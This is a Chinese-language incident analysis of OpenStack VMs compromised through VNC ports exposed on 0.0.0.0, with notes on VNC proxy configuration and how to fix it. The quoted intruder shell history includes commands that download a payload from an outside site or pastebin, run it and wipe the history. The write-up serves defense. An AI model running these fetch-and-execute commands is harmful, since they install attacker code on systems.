一:問題定位
現象:
近期發現有幾台openstack雲主機被修改密碼并被殭屍電腦。
黑客記錄檔:
18-02-01 22:41:26 ##### root tty1 22:41 #### 2018-02-01 22:41:13 top
18-02-01 22:41:26 ##### root tty1 22:41 #### 2018-02-01 22:41:26 clear
18-02-01 22:41:33 ##### root tty1 22:41 #### 2018-02-01 22:41:33 nvidia-smi
18-02-01 22:41:42 ##### root tty1 22:41 #### 2018-02-01 22:41:42 cd /opt
18-02-01 22:41:42 ##### root tty1 22:41 #### 2018-02-01 22:41:42 ls
18-02-01 22:41:45 ##### root tty1 22:41 #### 2018-02-01 22:41:45 ls -a
18-02-01 22:42:09 ##### root tty1 22:41 #### 2018-02-01 22:41:58 curl 666y.atwebpages.com/yamit.txt -o yamit && chmod +x yamit &&./yamit
18-02-01 22:42:12 ##### root tty1 22:41 #### 2018-02-01 22:42:12 ls
18-02-01 22:42:20 ##### root tty1 22:41 #### 2018-02-01 22:42:20 cat yamit
18-02-01 22:42:29 ##### root tty1 22:41 #### 2018-02-01 22:42:29 histoy -c
18-02-01 22:42:31 ##### root tty1 22:41 ####
18-02-01 22:42:33 ##### root tty1 22:41 #### 2018-02-01 22:42:33 rm -rf yamit
18-02-01 22:42:40 ##### root tty1 22:41 #### 2018-02-01 22:42:35 top
18-02-01 22:42:40 ##### root tty1 22:41 #### 2018-02-01 22:42:40 ear
18-02-01 22:42:42 ##### root tty1 22:41 ####
18-02-01 22:43:09 ##### root tty1 22:43 #### 2018-02-01 22:42:45 exit
18-02-01 22:43:11 ##### root tty1 22:43 #### 2018-02-01 22:43:11 clear
18-02-03 03:56:25 ##### root tty1 03:56 #### 2018-02-01 22:43:12 exit
18-02-03 03:56:28 ##### root tty1 03:56 #### 2018-02-03 03:56:28 ifconfig
18-02-03 03:56:44 ##### root tty1 03:56 #### 2018-02-03 03:56:42 ping ya.ru
18-02-03 03:57:01 ##### root tty1 03:56 #### 2018-02-03 03:57:00 wget https://pastebin.com/raw/BZk9zRE2
18-02-03 03:57:04 ##### root tty1 03:56 #### 2018-02-03 03:57:04 bash B
18-02-03 03:57:31 ##### root tty1 03:56 #### 2018-02-03 03:57:06 bash BZk9zRE2
18-02-03 03:57:38 ##### root tty1 03:56 #### 2018-02-03 03:57:38 rm BZk9zRE2
18-02-03 03:57:42 ##### root tty1 03:56 #### 2018-02-03 03:57:42 history =c
登陸方式不是通過暴力破解的方式進行登陸此機器,同時看日志看到登陸前有重新開機虛拟機的行為。
根據重新開機日志,應該是黑客通過某種方式重新開機 OpenStack 中的虛拟機,目前有以下幾種方式
1.有權限登陸 OpenStack 實體機,在實體機上操作虛拟機[排除--根據記錄檔]
2.有權限登陸 OpenStack dashboard,然後界面上 VNC 操作虛拟機[排除--根據 web 界面重新開機日志]
3.使用 VNC 用戶端直接操作 OpenStack 中的虛拟機
根據以上方法,确認是以 VNC 用戶端直接操作 OpenStack 中的虛拟機導緻。
二:處理方法
2.1VNC
VNC (Virtual Network Computer) 是虛拟網絡計算機的縮寫
https://github.com/BillWang139967/openstack_install/wiki/openstack_nova_vnc#2-%E7%94%A8-vnc-%E5%AE%A2%E6%88%B7%E7%AB%AF%E6%9F%A5%E7%9C%8B-openstack-%E5%88%9B%E5%BB%BA%E7%9A%84%E8%99%9A%E6%8B%9F%E6%9C%BA 2 .2用 VNC 用戶端檢視 openstack 建立的虛拟機
在雲計算的環境中,實際上更多的時候是使用 VNC 工具去檢視雲系統中的 VM。以下記錄如何檢視的方法:
計算節點檢視虛拟機的 ID(libvird 的,非 instanc_id)
[root@compute1 ~]# virsh list --all
Id Name State
----------------------------------------------------
51 instance-000000b7 running
63 instance-000000d3 running
64 instance-000000de running#############比如這台
- instance-000000ac shut off
- instance-000000b2 shut off
- instance-000000b3 shut off
- instance-000000bb shut off
找到需要連接配接的虛拟機的 ID 号,檢視其中暴露的端口:
[root@compute1 ~]# virsh vncdisplay 64
:1
然後在 VNC 檢視工具中輸入相關連接配接:
在 VNC 用戶端上輸入 對應的計算節點 IP:1
點選 Connect 後就可以連接配接上 openstack 建立的虛拟機。
【備注】以上采用的方法,實際是直接連接配接的底層的 libvirt,本質上和上層的 openstack 無太大關系,是以也可以用于其它平台。
https://github.com/BillWang139967/openstack_install/wiki/openstack_nova_vnc#23-%E6%9F%A5%E7%9C%8B%E5%A4%96%E7%BD%91%E5%8F%AF%E4%BB%A5%E8%BF%9E%E6%8E%A5%E7%9A%84%E5%AE%9E%E4%BE%8B 2.3 檢視外網可以連接配接的執行個體
root 權限登陸計算節點後
#netstat -tanp | grep kvm | grep LISTEN
輸出的内容中,監聽位址為
0.0.0.0
的,都可以外網直接通路此執行個體
https://github.com/BillWang139967/openstack_install/wiki/openstack_nova_vnc#3-openstack-%E4%B8%AD-vnc-%E5%88%86%E6%9E%90 3 OpenStack 中 VNC 分析
https://github.com/BillWang139967/openstack_install/wiki/openstack_nova_vnc#31-vnc-proxy-%E7%9A%84%E5%8A%9F%E8%83%BD 3.1 VNC Proxy 的功能
将公網 (public network) 和私網 (private network) 隔離
- VNC client 運作在公網上,VNCServer 運作在私網上,VNC Proxy 作為中間的橋梁将二者連接配接起來
- VNC Proxy 通過 token 對 VNC Client 進行驗證
- VNC Proxy 不僅僅使得私網的通路更加安全,而且将具體的 VNC Server 的實作分離,可以支援不同 Hypervisor 的 VNC Server 但不影響使用者體驗
https://github.com/BillWang139967/openstack_install/wiki/openstack_nova_vnc#32-vnc-proxy-%E7%9A%84%E8%BF%90%E8%A1%8C%E8%BF%87%E7%A8%8B 3.2 VNC Proxy 的運作過程
- (01) 一個使用者試圖從浏覽器裡面打開連接配接到虛拟機的 VNC Client
- (02) 浏覽器向 nova-api 發送請求,要求傳回通路 vnc 的 url
- (03) nova-api 調用 nova-compute 的 get vnc console 方法,要求傳回連接配接 VNC 的資訊
- (04) nova-compute 調用 libvirt 的 get vnc console 函數
- (05) libvirt 會通過解析虛拟機運作的 /etc/libvirt/qemu/instance-0000000c.xml 檔案來獲得 VNC Server 的資訊
- (06) libvirt 将 host, port 等資訊以 json 格式傳回給 nova-compute
- (07) nova-compute 會随機生成一個 UUID 作為 Token
- (08) nova-compute 将 libvirt 傳回的資訊以及配置檔案中的資訊綜合成 connect_info 傳回給 nova-api
- (09) nova-api 會調用 nova-consoleauth 的 authorize_console 函數
- (10) nova-consoleauth 會将 instance –> token, token –> connect_info 的資訊 cache 起來
- (11) nova-api 将 connect_info 中的 access url 資訊傳回給浏覽器: http://172.24.1.1:6080/vnc_auto.html?token=7efaee3f-eada-4731-a87c-e173cbd25e98&title=helloworld%289169fdb2-5b74-46b1-9803-60d2926bd97c%29
- (12) 浏覽器會試圖打開這個連結
- (13) 這個連結會将請求發送給 nova-novncproxy
- (14) nova-novncproxy 調用 nova-consoleauth 的 check_token 函數
- (15) nova-consoleauth 驗證了這個 token,将這個 instance 對應的 connect_info 傳回給 nova-novncproxy
- (16) nova-novncproxy 通過 connect_info 中的 host, port 等資訊,連接配接 compute 節點上的 VNC Server,進而開始了 proxy 的工作
https://github.com/BillWang139967/openstack_install/wiki/openstack_nova_vnc#33-nova-%E4%B8%AD-vnc-%E7%9B%B8%E5%85%B3%E9%85%8D%E7%BD%AE 3.3 NOVA 中 VNC 相關配置
- vnc_enabled=True 啟用虛拟機的 VNC 功能。
- vncserver_listen=0.0.0.0
- 127.0.0.1(預設),即隻可以從本機進行通路,缺點是浏覽器 VNC 通路執行個體也會失敗
- 管理網的 IP 位址
- 0.0.0.0 主要是考慮到動态遷移時,目的主控端沒有相應的 IP 位址,動态遷移會失敗。
- vncserver_proxyclient_address 該位址指明 vnc proxy 應該通過那個 IP 位址來連接配接 vncserver,通常是管理網 IP 位址。
- novncproxy_base_url= http://SERVICEHOST:6080/vncauto.html 指定浏覽器 client 應該連接配接的位址。
如果 OpenStack 平台架設在公網上,則 vncserver_listen 需要配置為管理網的 IP 位址,否則設定為
0.0.0.0
就會使得外網使用者可以直接通路虛拟機,非常危險
https://github.com/BillWang139967/openstack_install/wiki/openstack_nova_vnc#34-%E9%87%8D%E6%96%B0%E8%AE%BE%E7%BD%AE%E7%9B%91%E5%90%AC%E5%9C%B0%E5%9D%80%E5%90%8E%E8%80%81%E5%AE%9E%E4%BE%8B%E7%9A%84%E5%A4%84%E7%90%86%E6%96%B9%E6%B3%95 3.4 重新設定監聽位址後老執行個體的處理方法
計算幾點重新設定監聽位址後(如從
0.0.0.0
,修改為計算節點管理網段的 IP),老的執行個體的對外的 VNC 仍然是
0.0.0.0
那是因為
/etc/libvirt/qemu/instance-000000xx.xml
中配置的監聽位址沒有變化
可以通過硬重新開機執行個體使之(老執行個體)生效